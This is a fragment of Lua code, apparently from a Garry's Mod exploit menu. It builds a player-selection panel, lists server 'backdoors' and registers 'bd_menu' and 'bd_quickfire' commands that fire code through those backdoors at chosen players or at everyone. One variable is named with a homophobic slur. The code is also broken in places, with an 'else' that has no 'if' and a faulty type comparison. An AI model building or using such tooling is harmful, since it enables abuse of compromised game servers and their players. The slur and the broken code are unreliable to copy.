plypanel2:SetPos( 0, 0 )
plypanel2:SetSize( 200, 25 )
plypanel2.Paint = function() -- Paint function
draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0,
150), false, false, false, false)
end
plyname:SetPos( 10, 5 )
plyname:SetFont( "Trebuchet18" )
plyname:SetColor( tcol )
plyname:SetText( v:Nick() )
plyname:SetSize(180, 15)
faggot:SetPos( 0, 0 )
faggot:SetText("")
faggot.Paint = function(panel, w, h)
return
end
faggot.DoClick = function()
table.RemoveByValue( selectedplayers, v )
else
table.insert( selectedplayers, v )
end
end
Plist4:AddItem( plypanel2 )
end
BD.GenerateBackdoorList( Plist, 1 )
BD.GenerateBackdoorList( Plist2, 2 )
BD.GenerateBackdoorList( Plist3, 3 )
end
concommand.Add("bd_menu", BD.BackdoorMenu)
function BD.QuickFireBackdoor()
if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then
BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
end
concommand.Add("bd_quickfire", BD.QuickFireBackdoor)